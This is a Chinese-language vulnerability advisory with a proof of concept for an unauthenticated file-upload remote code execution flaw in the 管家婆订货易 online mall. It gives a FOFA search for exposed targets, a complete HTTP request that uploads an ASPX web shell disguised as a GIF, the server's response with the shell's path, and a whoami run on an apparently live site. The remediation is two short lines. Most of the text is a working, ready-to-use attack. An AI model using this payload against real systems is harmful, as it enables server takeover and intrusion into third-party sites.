

管家婆订货易在线商城 UploadImgNoCheck 文件上传致RCE漏洞

漏洞描述

管家婆订货易在线商城 /api/Upload/UploadImgNoCheck 接口处存在文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

影响版本

管家婆订货易在线商城

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: title="订货易" || title="管家婆分销ERP" || body="管家婆分销ERP" || body="ERP V3"

POC/EXP:

POST /api/Upload/UploadImgNoCheck?m_server_name=ShopUserImg HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8, application/signed-exchange;v=b3;q=0.7

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OIOPiiukkdktZR

-----WebKitFormBoundaryj7OIOPiiukkdktZR

Content-Disposition: form-data; name="Filedata";filename="rce.aspx"

Content-Type: image/jpeg

GIF89a

```
<%@ Page Language="Jscript" validateRequest="false" %>
```

```
<%
```

```
var c=new System.Diagnostics.ProcessStartInfo("cmd");
```

```
var e=new System.Diagnostics.Process();
```

```
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
```

```
c.UseShellExecute=false;
```

```
c.RedirectStandardOutput=true;
```

```
c.RedirectStandardError=true;
```

```
e.StartInfo=c;
```

```
c.Arguments="/c " + Request.Item["cmd"];
```

```
e.Start();
```

```
out=e.StandardOutput;
```

```
EI=e.StandardError;
```

```
e.Close();
```

```
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
```

```
System.IO.File.Delete(Request.PhysicalPath);
```

```
Response.End();%>
```

```
-----WebKitFormBoundaryj7OlOPiukkdkdktZR--
```

原始 HTTP 请求	原始 HTTP 响应
<pre>1 POST /api/UploadImgNoCheck?m_server_name=ShopUserImg HTTP/1.1 2 Host: 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 5 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryj7OlOPiukkdkdktZR 6 7 -----WebKitFormBoundaryj7OlOPiukkdkdktZR 8 Content-Disposition: form-data; name="Filedata"; filename="rce.aspx" 9 Content-Type: image/jpeg 10 11 GIF89a 12 <%@ Page Language="Jscript" validateRequest="false" %> 13 <% 14 var c=new System.Diagnostics.ProcessStartInfo("cmd"); 15 var e=new System.Diagnostics.Process(); 16 var out:System.IO.StreamReader,EI:System.IO.StreamReader; 17 c.UseShellExecute=false; 18 c.RedirectStandardOutput=true;</pre>	<pre>1 HTTP/1.1 200 OK 2 Cache-Control: no-cache 3 Pragma: no-cache 4 Content-Type: application/json; charset=utf-8 5 Expires: -1 6 Server: Microsoft-IIS/7.5 7 X-AspNet-Version: 4.0.30319 8 X-Powered-By: ASP.NET 9 Access-Control-Allow-Origin: * 10 Date: Wed, 27 Nov 2024 14:59:34 GMT 11 Content-Length: 105 12 13 {"Data":["/Storage/UserFileImg/1144ea4a426f4badb2d5b4d790d90259.aspx"],"StatusCode":0,"Message":"成功"}</pre>

← → ↻ ⚠ 不安全 Storage/UserFileImg/1144ea4a426f4badb2d5b4d790d90259.aspx?cmd=whoami ☆

GIF89a iis apppool\sbk.taaly.ltd_ydt

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本